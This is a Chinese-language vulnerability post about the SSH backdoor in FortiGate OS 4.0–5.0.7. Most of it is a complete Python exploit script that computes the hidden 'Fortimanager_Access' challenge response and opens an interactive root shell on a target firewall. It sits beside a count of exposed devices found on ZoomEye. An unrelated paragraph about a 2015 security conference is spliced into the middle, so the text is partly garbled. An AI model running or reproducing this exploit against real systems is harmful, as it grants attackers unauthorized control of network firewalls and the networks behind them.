FortiGate OS(飞塔系统) 4.0-5.0.7 SSH 后门
漏洞简介:
FortiGate(飞塔防火墙)采用 ASIC 加速的 UTM 解决方案,可以有效地防御网 络层和内容层的攻击。FortiGate 解决方案能够发现和消除多层的攻击,比如病 毒、蠕虫、入侵、以及 Web 恶意内容等等实时的应用,而不会导致网络性能下降。
2015年底,国内新生安全公司—安赛科技举办了2015年新兴安全技术大会,本次参会拟邀了国内主流的互联网企业、乙方安全公司、投资机构、安全爱好者。在301感触看,这场会议确实在策划到推广上还是有很多方面可以供企业学习的,例如:在嘉宾的邀请上,选用的是拟邀的方式...具体细节301就不多说了,本次参会人员大概在200人左右。
北京时间 2016 年 1 月 12 日凌晨四点钟,国外安全研究员在 twiter 上爆料 FortiGate 防火墙存在一个后门,攻击者可以通过这个后门直接获取防火墙控制权限。
在 ZoomEye 网络空间搜索引擎 上发现全球有64567个 FortiGate 防火墙。
利用脚本:
http://seclists.org/fulldisclosure/2016/Jan/26
#!/usr/bin/env python # SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7 # Usage: ./fgt_ssh_backdoor.py target-ip import socket import select import sys import paramiko from paramiko.py3compat import u import base64 import hashlib import termios import tty def custom_handler(title, instructions, prompt_list): n = prompt_list[0][0] m = hashlib.sha1() m.update('\x00' * 12) m.update(n + 'FGTAbc11*xy+Qqz27') m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70') h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest()) return [h] def main(): if len(sys.argv) < 2: print 'Usage: ' + sys.argv[0] + '' exit(-1) client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False) except paramiko.ssh_exception.SSHException: pass trans = client.get_transport() try: trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) except paramiko.ssh_exception.AuthenticationException: pass trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler) chan = client.invoke_shell() oldtty = termios.tcgetattr(sys.stdin) try: tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) chan.settimeout(0.0) while True: r, w, e = select.select([chan, sys.stdin], [], []) if chan in r: try: x = u(chan.recv(1024)) if len(x) == 0: sys.stdout.write('\r\n*** EOF\r\n') break sys.stdout.write(x) sys.stdout.flush() except socket.timeout: pass if sys.stdin in r: x = sys.stdin.read(1) if len(x) == 0: break chan.send(x) finally: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) if __name__ == '__main__': main()
参考:
https://www.reddit.com/r/netsec/comments/40lotk/ssh_backdoor_for_fortigate_os_version_4x_up_to/
https://twitter.com/esizkur/status/686842135501508608
http://seclists.org/fulldisclosure/2016/Jan/26